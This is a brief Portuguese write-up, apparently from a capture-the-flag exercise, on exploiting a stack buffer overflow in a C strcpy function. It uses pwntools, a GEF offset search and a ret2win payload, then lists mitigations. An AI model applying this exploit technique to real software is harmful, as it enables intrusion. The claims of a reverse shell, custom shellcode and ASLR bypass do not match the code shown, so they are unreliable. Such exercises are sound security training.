Visão Geral
Análise da Vulnerabilidade
Identificação do Bug
C
void vulnerable_function(char *input) {
char buffer[64];
strcpy(buffer, input); // Vulnerabilidade aqui!
}
Técnicas de Exploração
- Fuzzing: Identificação do ponto de crash
- Pattern Creation: Criação de padrão para encontrar offset
- Shellcode Development: Desenvolvimento de payload customizado
- Return Address Overwrite: Sobrescrita do endereço de retorno
Ferramentas Utilizadas
- GDB: Debugger para análise dinâmica
- GEF: Extensão do GDB para análise de exploits
- Python: Scripts de fuzzing e payload generation
- Pwntools: Framework para desenvolvimento de exploits
Desenvolvimento do Exploit
1. Fuzzing e Pattern Creation
Python
from pwn import *
# Criando padrão para encontrar offset
pattern = cyclic(100)
p = process('./vulnerable_program')
p.sendline(pattern)
p.interactive()
2. Encontrando o Offset
Python
# Usando GEF para encontrar offset
gef> pattern search $rsp
[+] Searching for pattern
[+] Found at offset 72
3. Desenvolvimento do Payload
Python
# Payload final
payload = b"A" * 72 # Padding
payload += p64(0x401196) # Endereço da função win()
Resultados
- ✅ Exploit bem-sucedido: Obtenção de shell reverso
- ✅ Flag capturada: flag{buff3r_0v3rfl0w_3xpl01t3d}
- ✅ Análise completa: Documentação de todo o processo
Aprendizados
- Importância do ASLR: Como contornar proteções de memória
- Técnicas de Debugging: Uso eficiente de ferramentas de análise
- Desenvolvimento de Payloads: Criação de shellcodes customizados
- Análise de Binários: Técnicas de engenharia reversa
Mitigações
- Stack Canaries: Proteção contra buffer overflow
- ASLR: Randomização de endereços
- DEP/NX: Prevenção de execução de código na stack
- Code Review: Análise estática de código